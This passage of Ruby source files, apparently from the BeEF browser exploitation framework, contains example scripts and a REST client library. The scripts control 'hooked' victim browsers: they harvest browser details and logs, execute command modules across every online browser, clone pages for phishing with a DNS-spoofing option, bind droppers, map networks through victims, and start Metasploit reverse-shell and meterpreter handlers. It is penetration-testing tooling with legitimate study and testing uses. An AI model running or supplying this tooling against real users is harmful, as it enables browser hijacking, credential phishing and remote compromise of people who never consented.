https://github.com/beefproject/beef/wiki/BeEF-RESTful-API ## require 'rest-client' require 'json' require 'optparse' require 'pp' require './lib/string' # colored strings require './lib/print' # print wrappers require './lib/beef_rest_api' if ARGV.length == 0 puts "#{$0}:" puts "| Example BeEF RESTful API script" puts "| Use --help for help" puts "|_ Use verbose mode (-v) and debug mode (-d) for more output" exit 1 end # API config proto = 'http' host = '127.0.0.1' port = '3000' user = 'beef' pass = 'beef' # Command line options @debug = false @verbose = false OptionParser.new do |opts| opts.on('-h', '--help', 'Shows this help screen') do puts opts exit 1 end opts.on('--host HOST', "Set BeEF host (default: #{host})") do |h| host = h end opts.on('--port PORT', "Set BeEF port (default: #{port})") do |p| port = p end opts.on('--user USERNAME', "Set BeEF username (default: #{user})") do |u| user = u end opts.on('--pass PASSWORD', "Set BeEF password (default: #{pass})") do |p| pass = p end opts.on('--ssl', 'Use HTTPS') do proto = 'https' end opts.on('-v', '--verbose', 'Enable verbose output') do @verbose = true end opts.on('-d', '--debug', 'Enable debug output') do @debug = true end end.parse! @api = BeefRestAPI.new proto, host, port, user, pass # Retrieve the RESTful API token print_status "Authenticating to: #{proto}://#{host}:#{port}" @api.auth # Retrieve BeEF version @api.version # Retrieve online hooked browser list hooks = @api.online_browsers.flatten exit 1 if hooks.empty? print_debug hooks # Retrieve hooked browser details hooks.each do |hook| next if hook['id'].nil? print_status "Retrieving details for browser [id: #{hook['id']}]" details = @api.browser_details(hook['session']) print_debug details print_verbose "Hooked Browser [id:#{hook['id']}, ip:#{hook['ip']}]:\n#{details.map{|d| "#{d['key']}: #{d['value']}" }.flatten.join("\n")}" end # Retrieve hooked browser logs hooks.each do |hook| next if hook['id'].nil? print_status "Retrieving logs for browser [id: #{hook['id']}]" logs = @api.browser_logs(hook['session']) print_debug logs logs['logs'].each do |log| next if log['id'].nil? print_verbose "#{log['date']} - #{log['event']}" end end ================================================ FILE: tools/rest_api_examples/clone_page ================================================ #!/usr/bin/env ruby # clone_page - Example BeEF RESTful API script # Clone a web page and mount it locally # Refer to the wiki for info: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API ## require 'rest-client' require 'json' require 'optparse' require 'pp' require './lib/string' # colored strings require './lib/print' # print wrappers require './lib/beef_rest_api' # API if ARGV.length == 0 puts "#{$0}:" puts "| Example BeEF RESTful API script" puts "| Use --help for help" puts "|_ Use verbose mode (-v) and debug mode (-d) for more output" exit 1 end # API config proto = 'http' host = '127.0.0.1' port = '3000' user = 'beef' pass = 'beef' # Command line options @debug = false @verbose = false OptionParser.new do |opts| opts.on('-h', '--help', 'Shows this help screen') do puts opts exit 1 end opts.on('--host HOST', "Set BeEF host (default: #{host})") do |h| host = h end opts.on('--port PORT', "Set BeEF port (default: #{port})") do |p| port = p end opts.on('--user USERNAME', "Set BeEF username (default: #{user})") do |u| user = u end opts.on('--pass PASSWORD', "Set BeEF password (default: #{pass})") do |p| pass = p end opts.on('--ssl', 'Use HTTPS') do proto = 'https' end opts.on('-v', '--verbose', 'Enable verbose output') do @verbose = true end opts.on('-d', '--debug', 'Enable debug output') do @debug = true end end.parse! @api = BeefRestAPI.new proto, host, port, user, pass # Retrieve the RESTful API token print_status "Authenticating to: #{proto}://#{host}:#{port}" @api.auth # Retrieve BeEF version @api.version # Clone http://localhost/ and mount to / url = 'http://localhost/' path = '/' use_existing = false dns_spoof = false @api.clone_page(url, path, use_existing, dns_spoof) ================================================ FILE: tools/rest_api_examples/command-modules ================================================ #!/usr/bin/env ruby # command-modules - Example BeEF RESTful API script # Retrieves module details and pops an alert dialog on all hooked browsers # Refer to the wiki for info: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API ## require 'rest-client' require 'json' require 'optparse' require 'pp' require './lib/string' # colored strings require './lib/print' # print wrappers require './lib/beef_rest_api' if ARGV.length == 0 puts "#{$0}:" puts "| Example BeEF RESTful API script" puts "| Use --help for help" puts "|_ Use verbose mode (-v) and debug mode (-d) for more output" exit 1 end # API config proto = 'http' host = '127.0.0.1' port = '3000' user = 'beef' pass = 'beef' # Command line options @debug = false @verbose = false OptionParser.new do |opts| opts.on('-h', '--help', 'Shows this help screen') do puts opts exit 1 end opts.on('--host HOST', "Set BeEF host (default: #{host})") do |h| host = h end opts.on('--port PORT', "Set BeEF port (default: #{port})") do |p| port = p end opts.on('--user USERNAME', "Set BeEF username (default: #{user})") do |u| user = u end opts.on('--pass PASSWORD', "Set BeEF password (default: #{pass})") do |p| pass = p end opts.on('--ssl', 'Use HTTPS') do proto = 'https' end opts.on('-v', '--verbose', 'Enable verbose output') do @verbose = true end opts.on('-d', '--debug', 'Enable debug output') do @debug = true end end.parse! @api = BeefRestAPI.new proto, host, port, user, pass # Retrieve the RESTful API token print_status "Authenticating to: #{proto}://#{host}:#{port}" @api.auth # Retrieve BeEF version @api.version # Retrieve module categories print_debug @api.categories # Retrieve modules modules = @api.modules.flatten exit 1 if modules.empty? print_debug modules # Retrieve module details modules.each do |m| next if m['id'].nil? print_status "Retrieving module details [id: #{m['id']}]" details = @api.module_details(m['id']) print_debug details end # Retrieve online hooked browser list hooks = @api.online_browsers.flatten exit 1 if hooks.empty? print_debug hooks # Execute alert dialog on all online browsers mod_id = @api.get_module_id "Alert_dialog" hooks.each do |hook| next if hook['id'].nil? print_status "Executing module [id: #{mod_id}, browser: #{hook['id']}]" result = @api.execute_module(hook['session'], mod_id, { "text" => "hello!" }) print_debug result end ================================================ FILE: tools/rest_api_examples/dns ================================================ #!/usr/bin/env ruby # dns - Example BeEF RESTful API script # Retrieves DNS rule set # Refer to the wiki for info: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API ## require 'rest-client' require 'json' require 'optparse' require 'pp' require './lib/string' # colored strings require './lib/print' # print wrappers require './lib/beef_rest_api' if ARGV.length == 0 puts "#{$0}:" puts "| Example BeEF RESTful API script" puts "| Use --help for help" puts "|_ Use verbose mode (-v) and debug mode (-d) for more output" exit 1 end # API config proto = 'http' host = '127.0.0.1' port = '3000' user = 'beef' pass = 'beef' # Command line options @debug = false @verbose = false OptionParser.new do |opts| opts.on('-h', '--help', 'Shows this help screen') do puts opts exit 1 end opts.on('--host HOST', "Set BeEF host (default: #{host})") do |h| host = h end opts.on('--port PORT', "Set BeEF port (default: #{port})") do |p| port = p end opts.on('--user USERNAME', "Set BeEF username (default: #{user})") do |u| user = u end opts.on('--pass PASSWORD', "Set BeEF password (default: #{pass})") do |p| pass = p end opts.on('--ssl', 'Use HTTPS') do proto = 'https' end opts.on('-v', '--verbose', 'Enable verbose output') do @verbose = true end opts.on('-d', '--debug', 'Enable debug output') do @debug = true end end.parse! @api = BeefRestAPI.new proto, host, port, user, pass # Retrieve the RESTful API token print_status "Authenticating to: #{proto}://#{host}:#{port}" @api.auth # Retrieve BeEF version @api.version # Add a rule print_status "Adding a DNS rule" pattern = 'beefproject.com' resource = 'A' response = ['127.0.0.1', '127.0.0.2'] result = @api.dns_add_rule(pattern, resource, response) print_debug result id = result['id'] # Retrieve ruleset print_status "Retrieving DNS rule set" rules = @api.dns_ruleset print_debug rules # Retrieve rule details print_status "Retrieving details for rule [id: #{id}]" rule = @api.dns_get_rule(id) print_debug rule print_status "Deleting rule [id: #{id}]" result = @api.dns_delete_rule(id) print_debug result # Retrieve ruleset print_status "Retrieving DNS rule set" rules = @api.dns_ruleset print_debug rules ================================================ FILE: tools/rest_api_examples/export-logs ================================================ #!/usr/bin/env ruby # export-logs - Example BeEF RESTful API script # Retrieves BeEF logs and logs for all online hooked browsers # Refer to the wiki for info: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API ## require 'rest-client' require 'json' require 'optparse' require 'pp' require './lib/string' # colored strings require './lib/print' # print wrappers require './lib/beef_rest_api' if ARGV.length == 0 puts "#{$0}:" puts "| Example BeEF RESTful API script" puts "| Use --help for help" puts "|_ Use verbose mode (-v) and debug mode (-d) for more output" exit 1 end # API config proto = 'http' host = '127.0.0.1' port = '3000' user = 'beef' pass = 'beef' # Command line options @debug = false @verbose = false OptionParser.new do |opts| opts.on('-h', '--help', 'Shows this help screen') do puts opts exit 1 end opts.on('--host HOST', "Set BeEF host (default: #{host})") do |h| host = h end opts.on('--port PORT', "Set BeEF port (default: #{port})") do |p| port = p end opts.on('--user USERNAME', "Set BeEF username (default: #{user})") do |u| user = u end opts.on('--pass PASSWORD', "Set BeEF password (default: #{pass})") do |p| pass = p end opts.on('--ssl', 'Use HTTPS') do proto = 'https' end opts.on('-v', '--verbose', 'Enable verbose output') do @verbose = true end opts.on('-d', '--debug', 'Enable debug output') do @debug = true end end.parse! @api = BeefRestAPI.new proto, host, port, user, pass # Retrieve the RESTful API token print_status "Authenticating to: #{proto}://#{host}:#{port}" @api.auth # Retrieve BeEF version @api.version # Retrieve BeEF logs logs = @api.logs print_debug logs logs['logs'].each do |log| next if log['id'].nil? print_verbose "#{log['date']} - #{log['event']}" end # Retrieve online hooked browser list hooks = @api.online_browsers.flatten exit 1 if hooks.empty? print_debug hooks # Retrieve hooked browser logs hooks.each do |hook| next if hook['id'].nil? print_status "Retrieving logs for browser [id: #{hook['id']}]" logs = @api.browser_logs(hook['session']) print_debug logs logs['logs'].each do |log| next if log['id'].nil? print_verbose "#{log['date']} - #{log['event']}" end end ================================================ FILE: tools/rest_api_examples/lib/beef_rest_api.rb ================================================ class BeefRestAPI # initialize def initialize proto = 'https', host = '127.0.0.1', port = '3000', user = 'beef', pass = 'beef' @user = user @pass = pass @url = "#{proto}://#{host}:#{port}/api/" @token = nil end ################################################################################ ### BeEF core API ################################################################################ # authenticate and get API token def auth print_verbose "Retrieving authentication token" begin response = RestClient.post "#{@url}admin/login", { 'username' => "#{@user}", 'password' => "#{@pass}" }.to_json, :content_type => :json, :accept => :json result = JSON.parse(response.body) @token = result['token'] print_good "Retrieved RESTful API token: #{@token}" rescue => e print_error "Could not retrieve RESTful API token: #{e.message}" end end # get BeEF version def version begin response = RestClient.get "#{@url}server/version", {:params => {:token => @token}} result = JSON.parse(response.body) print_good "Retrieved BeEF version: #{result['version']}" result['version'] rescue => e print_error "Could not retrieve BeEF version: #{e.message}" end end # get server mounts def mounts begin response = RestClient.get "#{@url}server/mounts", {:params => {:token => @token}} result = JSON.parse(response.body) print_good "Retrieved BeEF server mounts: #{result['mounts']}" result['mounts'] rescue => e print_error "Could not retrieve BeEF version: #{e.message}" end end # get online hooked browsers def online_browsers begin print_verbose "Retrieving online browsers" response = RestClient.get "#{@url}hooks", {:params => {:token => @token}} result = JSON.parse(response.body) browsers = result["hooked-browsers"]["online"] print_good "Retrieved online browser list [#{browsers.size} online]" browsers rescue => e print_error "Could not retrieve browser details: #{e.message}" end end # get offline hooked browsers def offline_browsers begin print_verbose "Retrieving offline browsers" response = RestClient.get "#{@url}hooks", {:params => {:token => @token}} result = JSON.parse(response.body) browsers = result["hooked-browsers"]["offline"] print_good "Retrieved offline browser list [#{browsers.size} offline]" browsers rescue => e print_error "Could not retrieve browser details: #{e.message}" end end # get hooked browser details by session def browser_details session begin print_verbose "Retrieving browser details for hooked browser [session: #{session}]" response = RestClient.get "#{@url}browserdetails/#{session}", {:params => {:token => @token}} result = JSON.parse(response.body) details = result['details'] print_good "Retrieved #{details.size} browser details" details rescue => e print_error "Could not retrieve browser details: #{e.message}" end end # delete a browser by session def delete_browser session begin print_verbose "Removing hooked browser [session: #{session}]" response = RestClient.get "#{@url}hooks/#{session}/delete", {:params => {:token => @token}} print_good "Removed browser [session: #{session}]" if response.code == 200 response rescue => e print_error "Could not delete hooked browser: #{e.message}" end end # get BeEF logs def logs begin print_verbose "Retrieving logs" response = RestClient.get "#{@url}logs", {:params => {:token => @token}} logs = JSON.parse(response.body) print_good "Retrieved #{logs['logs_count']} log entries" logs rescue => e print_error "Could not retrieve logs: #{e.message}" end end # get hooked browser logs by session def browser_logs session begin print_verbose "Retrieving browser logs [session: #{session}]" response = RestClient.get "#{@url}logs/#{session}", {:params => {:token => @token}} logs = JSON.parse(response.body) print_good "Retrieved #{logs['logs'].size} browser logs" logs rescue => e print_error "Could not retrieve browser logs: #{e.message}" end end ################################################################################ ### command module API ################################################################################ # get command module categories def categories begin print_verbose "Retrieving module categories" response = RestClient.get "#{@url}categories", {:params => {:token => @token}} categories = JSON.parse(response.body) print_good "Retrieved #{categories.size} module categories" categories rescue => e print_error "Could not retrieve logs: #{e.message}" end end # get command modules def modules begin print_verbose "Retrieving modules" response = RestClient.get "#{@url}modules", {:params => {:token => @token}} @modules = JSON.parse(response.body) print_good "Retrieved #{@modules.size} available command modules" @modules rescue => e print_error "Could not retrieve modules: #{e.message}" end end # get module id by module short name def get_module_id mod_name print_verbose "Retrieving id for module [name: #{mod_name}]" @modules.each do |mod| # normal modules if mod_name.capitalize == mod[1]["class"] return mod[1]["id"] break # metasploit modules elsif mod[1]["class"] == "Msf_module" && mod_name.capitalize == mod[1]["name"] return mod[1]["id"] break end end nil end # get command module details def module_details id begin print_verbose "Retrieving details for command module [id: #{id}]" response = RestClient.get "#{@url}modules/#{id}", {:params => {:token => @token}} details = JSON.parse(response.body) print_good "Retrieved details for module [#{details['name']}]" details rescue => e print_error "Could not retrieve modules: #{e.message}" end end # execute module def execute_module session, mod_id, options print_verbose "Executing module [id: #{mod_id}, #{options}]" begin response = RestClient.post "#{@url}modules/#{session}/#{mod_id}?token=#{@token}", options.to_json, :content_type => :json, :accept => :json result = JSON.parse(response.body) if result['success'] == 'true' print_good "Executed module [id: #{mod_id}]" else print_error "Could not execute module [id: #{mod_id}]" end result rescue => e print_error "Could not start payload handler: #{e.message}" end end ################################################################################ ### Metasploit API ################################################################################ # get metasploit version def msf_version begin response = RestClient.get "#{@url}msf/version", {:params => {:token => @token}} result = JSON.parse(response.body) version = result['version']['version'] print_good "Retrieved Metasploit version: #{version}" version rescue => e print_error "Could not retrieve Metasploit version: #{e.message}" end end # get metasploit jobs def msf_jobs begin response = RestClient.get "#{@url}msf/jobs", {:params => {:token => @token}} result = JSON.parse(response.body) jobs = result['jobs'] print_good "Retrieved job list [#{jobs.size} jobs]" jobs rescue => e print_error "Could not retrieve Metasploit job list: #{e.message}" end end # get metasploit job info def msf_job_info id begin response = RestClient.get "#{@url}msf/job/#{id}/info", {:params => {:token => @token}} details = JSON.parse(response.body) print_good "Retrieved job information [id: #{id}]" details rescue => e print_error "Could not retrieve job info: #{e.message}" end end # start metasploit payload handler def msf_handler options print_verbose "Starting Metasploit payload handler [#{options}]" begin response = RestClient.post "#{@url}msf/handler?token=#{@token}", options.to_json, :content_type => :json, :accept => :json result = JSON.parse(response.body) job_id = result['id'] if job_id.nil? print_error "Could not start payload handler: Job id is nil" else print_good "Started payload handler [id: #{job_id}]" end job_id rescue => e print_error "Could not start payload handler: #{e.message}" end end # stop metasploit job def msf_job_stop id print_verbose "Stopping Metasploit job [id: #{id}]" begin response = RestClient.get "#{@url}msf/job/#{id}/stop", {:params => {:token => @token}} result = JSON.parse(response.body) if result['success'].nil? print_error "Could not stop Metasploit job [id: #{id}]: No such job ?" else print_good "Stopped job [id: #{id}]" end result rescue => e print_error "Could not stop Metasploit job [id: #{id}]: #{e.message}" end end ################################################################################ ### Network API ################################################################################ # get all network hosts def network_hosts_all begin print_verbose "Retrieving all network hosts" response = RestClient.get "#{@url}network/hosts", {:params => {:token => @token}} details = JSON.parse(response.body) print_good "Retrieved #{details['count']} network hosts" details rescue => e print_error "Could not retrieve network hosts: #{e.message}" end end # get all network services def network_services_all begin print_verbose "Retrieving all network services" response = RestClient.get "#{@url}network/services", {:params => {:token => @token}} details = JSON.parse(response.body) print_good "Retrieved #{details['count']} network services" details rescue => e print_error "Could not retrieve network services: #{e.message}" end end # get network hosts by session def network_hosts session begin print_verbose "Retrieving network hosts for hooked browser [session: #{session}]" response = RestClient.get "#{@url}network/hosts/#{session}", {:params => {:token => @token}} details = JSON.parse(response.body) print_good "Retrieved #{details['count']} network hosts" details rescue => e print_error "Could not retrieve network hosts: #{e.message}" end end # get network services by session def network_services session begin print_verbose "Retrieving network services for hooked browser [session: #{session}]" response = RestClient.get "#{@url}network/services/#{session}", {:params => {:token => @token}} details = JSON.parse(response.body) print_good "Retrieved #{details['count']} network services" details rescue => e print_error "Could not retrieve network services: #{e.message}" end end ################################################################################ ### XssRays API ################################################################################ # get all rays def xssrays_rays_all print_verbose "Retrieving all rays" response = RestClient.get "#{@url}xssrays/rays", {:params => {:token => @token}} details = JSON.parse(response.body) print_good "Retrieved #{details['count']} rays" details rescue => e print_error "Could not retrieve rays: #{e.message}" end # get rays by session def xssrays_rays session print_verbose "Retrieving rays for hooked browser [session: #{session}]" response = RestClient.get "#{@url}xssrays/rays/#{session}", {:params => {:token => @token}} details = JSON.parse(response.body) print_good "Retrieved #{details['count']} rays" details rescue => e print_error "Could not retrieve rays: #{e.message}" end # get all scans def xssrays_scans_all print_verbose "Retrieving all scans" response = RestClient.get "#{@url}xssrays/scans", {:params => {:token => @token}} details = JSON.parse(response.body) print_good "Retrieved #{details['count']} scans" details rescue => e print_error "Could not retrieve scans: #{e.message}" end # get scans by session def xssrays_scans session print_verbose "Retrieving scans for hooked browser [session: #{session}]" response = RestClient.get "#{@url}xssrays/scans/#{session}", {:params => {:token => @token}} details = JSON.parse(response.body) print_good "Retrieved #{details['count']} scans" details rescue => e print_error "Could not retrieve scans: #{e.message}" end ################################################################################ ### DNS API ################################################################################ # get ruleset def dns_ruleset begin print_verbose "Retrieving DNS ruleset" response = RestClient.get "#{@url}dns/ruleset", {:params => {:token => @token}} details = JSON.parse(response.body) print_good "Retrieved #{details['count']} rules" details rescue => e print_error "Could not retrieve DNS ruleset: #{e.message}" end end # add a rule def dns_add_rule(dns_pattern, dns_resource, dns_response) dns_response = [dns_response] if dns_response.is_a?(String) print_verbose "Adding DNS rule [pattern: #{dns_pattern}, resource: #{dns_resource}, response: #{dns_response}]" response = RestClient.post "#{@url}dns/rule?token=#{@token}", { 'pattern' => dns_pattern, 'resource' => dns_resource, 'response' => dns_response }.to_json, :content_type => :json, :accept => :json details = JSON.parse(response.body) rule_id = details['id'] if rule_id.nil? print_error("Could not add DNS rule: #{details['error']}") return details end print_good "Added rule [id: #{details['id']}]" details rescue => e print_error "Could not add DNS rule: #{e.message}" end # get rule details def dns_get_rule(id) begin print_verbose "Retrieving DNS rule details [id: #{id}]" response = RestClient.get "#{@url}dns/rule/#{id}", {:params => {:token => @token}} details = JSON.parse(response.body) print_good "Retrieved rule [id: #{details['id']}]" details rescue => e print_error "Could not retrieve DNS rule: #{e.message}" end end # delete a rule def dns_delete_rule(id) response = RestClient.delete "#{@url}dns/rule/#{id}?token=#{@token}" details = JSON.parse(response.body) print_good "Deleted rule [id: #{id}]" details rescue => e print_error "Could not delete DNS rule: #{e.message}" end ################################################################################ ### Autorun ################################################################################ def autorun_rules print_verbose "Retrieving Autorun rules" response = RestClient.get "#{@url}autorun/rules", {:params => {:token => @token}} details = JSON.parse(response.body) print_good("Retrieved #{details['count']} rules") details rescue => e print_error("Could not retrieve Autorun rules: #{e.message}") end def autorun_delete_rule(id) print_verbose "Deleting Autorun rule with ID: #{id}" response = RestClient.delete "#{@url}autorun/rule/#{id}?token=#{@token}" details = JSON.parse(response.body) print_good("Deleted rule [id: #{id}]") details rescue => e print_error("Could not delete Autorun rule: #{e.message}") end def autorun_add_rule(data) print_verbose "Adding Autorun rule: #{data}" response = RestClient.post "#{@url}autorun/rule/add?token=#{@token}", data.to_json, :content_type => :json, :accept => :json details = JSON.parse(response.body) rule_id = details['rule_id'] if rule_id.nil? print_error("Could not add Autorun rule: #{details['error']}") return details end print_good("Added rule [id: #{details['id']}]") details rescue => e print_error("Could not add Autorun rule: #{e.message}") end def autorun_run_rule_on_all_browsers(rule_id) print_verbose "Running Autorun rule #{rule_id} on all browsers" response = RestClient.get "#{@url}autorun/run/#{rule_id}", {:params => {:token => @token}} details = JSON.parse(response.body) print_debug details print_good('Done') details rescue => e print_error "Could not run Autorun rule #{rule_id}: #{e.message}" end def autorun_run_rule_on_browser(rule_id, hb_id) print_verbose "Running Autorun rule #{rule_id} on browser #{hb_id}" response = RestClient.get "#{@url}autorun/run/#{rule_id}/#{hb_id}", {:params => {:token => @token}} details = JSON.parse(response.body) print_good('Done') details rescue => e print_error "Could not run Autorun rule #{rule_id}: #{e.message}" end ################################################################################ ### WebRTC ################################################################################ # get webrtc status for hooked browser by session def webrtc_status id begin print_verbose "Retrieving status for hooked browser [id: #{id}]" response = RestClient.get "#{@url}webrtc/status/#{id}", {:params => {:token => @token}} details = JSON.parse(response.body) print_good "Retrieved status for hooked browser [id: #{id}]" details rescue => e print_error "Could not retrieve status: #{e.message}" end end ################################################################################ ### Social Engineering ################################################################################ # bind dropper to path def bind(fname, path) print_verbose "Binding 'extensions/social_engineering/droppers/#{fname}' to '#{path}'" begin response = RestClient.post "#{@url}/server/bind?token=#{@token}", { 'mount' => "#{path}", 'local_file' => "#{fname}" }.to_json, :content_type => :json, :accept => :json print_good "Bound '#{fname}' successfully" if response.code == 200 rescue => e print_error "Could not bind file #{fname}: #{e.message}" end end # clone page and bind to path def clone_page(url, path, use_existing, dns_spoof) print_verbose "Binding '#{url}' to '#{path}'" begin response = RestClient.post "#{@url}/seng/clone_page?token=#{@token}", { 'mount' => "#{path}", 'url' => "#{url}", 'use_existing' => use_existing, 'dns_spoof' => dns_spoof }.to_json, :content_type => :json, :accept => :json print_good "Bound '#{url}' successfully" if response.code == 200 rescue => e print_error "Could not bind URL #{url}: #{e.message}" end end end ================================================ FILE: tools/rest_api_examples/lib/print.rb ================================================ # print wrappers def print_debug s pp s if @debug end def print_verbose s puts "[*] #{s}".gray if @verbose end def print_status s puts "[*] #{s}".blue end def print_good s puts "[+] #{s}".green end def print_error s puts "[!] Error: #{s}".red end ================================================ FILE: tools/rest_api_examples/lib/string.rb ================================================ # colorise # https://stackoverflow.com/questions/1489183/colorized-ruby-output class String def black; "\033[30m#{self}\033[0m" end def red; "\033[31m#{self}\033[0m" end def green; "\033[32m#{self}\033[0m" end def brown; "\033[33m#{self}\033[0m" end def blue; "\033[34m#{self}\033[0m" end def magenta; "\033[35m#{self}\033[0m" end def cyan; "\033[36m#{self}\033[0m" end def gray; "\033[37m#{self}\033[0m" end def bg_black; "\033[40m#{self}\033[0m" end def bg_red; "\033[41m#{self}\033[0m" end def bg_green; "\033[42m#{self}\033[0m" end def bg_brown; "\033[43m#{self}\033[0m" end def bg_blue; "\033[44m#{self}\033[0m" end def bg_magenta; "\033[45m#{self}\033[0m" end def bg_cyan; "\033[46m#{self}\033[0m" end def bg_gray; "\033[47m#{self}\033[0m" end def bold; "\033[1m#{self}\033[22m" end def reverse_color; "\033[7m#{self}\033[27m" end end ================================================ FILE: tools/rest_api_examples/metasploit ================================================ #!/usr/bin/env ruby # metasploit - Example BeEF RESTful API script # Starts some Metasploit payload handlers; # lists all running metasploit jobs; # then stops the payload handlers. # Refer to the wiki for info: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API ## require 'rest-client' require 'json' require 'optparse' require 'pp' require './lib/string' # colored strings require './lib/print' # print wrappers require './lib/beef_rest_api' # API if ARGV.length == 0 puts "#{$0}:" puts "| Example BeEF RESTful API script" puts "| Use --help for help" puts "|_ Use verbose mode (-v) and debug mode (-d) for more output" exit 1 end # API config proto = 'http' host = '127.0.0.1' port = '3000' user = 'beef' pass = 'beef' # Command line options @debug = false @verbose = false OptionParser.new do |opts| opts.on('-h', '--help', 'Shows this help screen') do puts opts exit 1 end opts.on('--host HOST', "Set BeEF host (default: #{host})") do |h| host = h end opts.on('--port PORT', "Set BeEF port (default: #{port})") do |p| port = p end opts.on('--user USERNAME', "Set BeEF username (default: #{user})") do |u| user = u end opts.on('--pass PASSWORD', "Set BeEF password (default: #{pass})") do |p| pass = p end opts.on('--ssl', 'Use HTTPS') do proto = 'https' end opts.on('-v', '--verbose', 'Enable verbose output') do @verbose = true end opts.on('-d', '--debug', 'Enable debug output') do @debug = true end end.parse! @api = BeefRestAPI.new proto, host, port, user, pass # Retrieve the RESTful API token print_status "Authenticating to: #{proto}://#{host}:#{port}" @api.auth # Retrieve BeEF version @api.version # Retrieve Metasploit version @api.msf_version # Start payload handlers handlers = [ @api.msf_handler( {'PAYLOAD'=>'generic/shell_reverse_tcp', 'LPORT' => '6666', 'LHOST' => host} ), @api.msf_handler( {'PAYLOAD'=>'cmd/unix/reverse', 'LPORT' => '6010', 'LHOST' => host} ), @api.msf_handler( {'PAYLOAD'=>'linux/x86/meterpreter/reverse_tcp', 'LPORT' => '6020', 'LHOST'=> host} ), @api.msf_handler( {'PAYLOAD'=>'windows/meterpreter/reverse_tcp', 'LPORT' => '6030', 'LHOST'=> host} ) ] # Retrieve msf jobs jobs = @api.msf_jobs print_debug jobs # Retrieve msf job details jobs.each do |job_id,job_name| next if job_id !~ /\A\d+\Z/ print_status "Retrieving details for Metasploit job [id: #{job_id}] [#{job_name}]" details = @api.msf_job_info(job_id) print_debug details end # Stop payload handlers handlers.each do |handler_id| print_debug @api.msf_job_stop handler_id end ================================================ FILE: tools/rest_api_examples/network ================================================ #!/usr/bin/env ruby # network - Example BeEF RESTful API script # Retrieves details for all identified network hosts and network services # Refer to the wiki for info: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API ## require 'rest-client' require 'json' require 'optparse' require 'pp' require './lib/string' # colored strings require './lib/print' # print wrappers require './lib/beef_rest_api' if ARGV.length == 0 puts "#{$0}:" puts "| Example BeEF RESTful API script" puts "| Use --help for help" puts "|_ Use verbose mode (-v) and debug mode (-d) for more output" exit 1 end # API config proto = 'http' host = '127.0.0.1' port = '3000' user = 'beef' pass = 'beef' # Command line options @debug = false @verbose = false OptionParser.new do |opts| opts.on('-h', '--help', 'Shows this help screen') do puts opts exit 1 end opts.on('--host HOST', "Set BeEF host (default: #{host})") do |h| host = h end opts.on('--port PORT', "Set BeEF port (default: #{port})") do |p| port = p end opts.on('--user USERNAME', "Set BeEF username (default: #{user})") do |u| user = u end opts.on('--pass PASSWORD', "Set BeEF password (default: #{pass})") do |p| pass = p end opts.on('--ssl', 'Use HTTPS') do proto = 'https' end opts.on('-v', '--verbose', 'Enable verbose output') do @verbose = true end opts.on('-d', '--debug', 'Enable debug output') do @debug = true end end.parse! @api = BeefRestAPI.new proto, host, port, user, pass # Retrieve the RESTful API token print_status "Authenticating to: #{proto}://#{host}:#{port}" @api.auth # Retrieve BeEF version @api.version # Retrieve all network hosts hosts = @api.network_hosts_all print_debug hosts # Retrieve all network services services = @api.network_services_all print_debug services # Retrieve online hooked browser list hooks = @api.online_browsers.flatten exit 1 if hooks.empty? print_debug hooks # Retrieve network hosts for each hooked browser hooks.each do |hook| next if hook['id'].nil? print_status "Retrieving network hosts for browser [id: #{hook['id']}]" hosts = @api.network_hosts(hook['session']) print_debug hosts hosts['hosts'].each do |host| next if host['id'].nil? print_verbose "#{host['ip']}" + (" - #{host['type']}" unless host['type'].nil?).to_s end end # Retrieve network services for each hooked browser hooks.each do |hook| next if hook['id'].nil? print_status "Retrieving network services for browser [id: #{hook['id']}]" services = @api.network_services(hook['session']) print_debug services services['services'].each do |service| next if service['id'].nil? print_verbose "#{service['ip']}:#{service['port']}" + (" - #{service['type']}" unless service['type'].nil?).to_s end end ================================================ FILE: tools/rest_api_examples/remove-offline-browsers ================================================ #!/usr/bin/env ruby # remove-offline-browsers - Example BeEF RESTful API script # Removes offline browsers from the database # Refer to the wiki for info: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API ## require 'rest-client' require 'json' require 'optparse' require 'pp' require './lib/string' # colored strings require './lib/print' # print wrappers require './lib/beef_rest_api' if ARGV.length == 0 puts "#{$0}:" puts "| Example BeEF RESTful API script" puts "| Use --help for help" puts "|_ Use verbose mode (-v) and debug mode (-d) for more output" exit 1 end # API config proto = 'http' host = '127.0.0.1' port = '3000' user = 'beef' pass = 'beef' # Command line options @debug = false @verbose = false OptionParser.new do |opts| opts.on('-h', '--help', 'Shows this help screen') do puts opts exit 1 end opts.on('--host HOST', "Set BeEF host (default: #{host})") do |h| host = h end opts.on('--port PORT', "Set BeEF port (default: #{port})") do |p| port = p end opts.on('--user USERNAME', "Set BeEF username (default: #{user})") do |u| user = u end opts.on('--pass PASSWORD', "Set BeEF password (default: #{pass})") do |p| pass = p end opts.on('--ssl', 'Use HTTPS') do proto = 'https' end opts.on('-v', '--verbose', 'Enable verbose output') do @verbose = true end opts.on('-d', '--debug', 'Enable debug output') do @debug = true end end.parse! @api = BeefRestAPI.new proto, host, port, user, pass # Retrieve the RESTful API token print_status "Authenticating to: #{proto}://#{host}:#{port}" @api.auth # Retrieve BeEF version @api.version # Retrieve online hooked browser list hooks = @api.offline_browsers.flatten exit 1 if hooks.empty? print_debug hooks # Remove each offline browser hooks.each do |hook| next if hook['id'].nil? print_status "Removing hooked browser [id: #{hook['id']}]" details = @api.delete_browser(hook['session']) print_debug details end ================================================ FILE: tools/rest_api_examples/webrtc ================================================ #!/usr/bin/env ruby # webrtc - Example BeEF RESTful API script # Retrieves browser details and logs for all online hooked browsers # Refer to the wiki for info: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API ## require 'rest-client' require 'json' require 'optparse' require 'pp' require './lib/string' # colored strings require './lib/print' # print wrappers require './lib/beef_rest_api' if ARGV.length == 0 puts "#{$0}:" puts "| Example BeEF RESTful API script" puts "| Use --help for help" puts "|_ Use verbose mode (-v) and debug mode (-d) for more output" exit 1 end # API config proto = 'http' host = '127.0.0.1' port = '3000' user = 'beef' pass = 'beef' # Command line options @debug = false @verbose = false OptionParser.new do |opts| opts.on('-h', '--help', 'Shows this help screen') do puts opts exit 1 end opts.on('--host HOST', "Set BeEF host (default: #{host})") do |h| host = h end opts.on('--port PORT', "Set BeEF port (default: #{port})") do 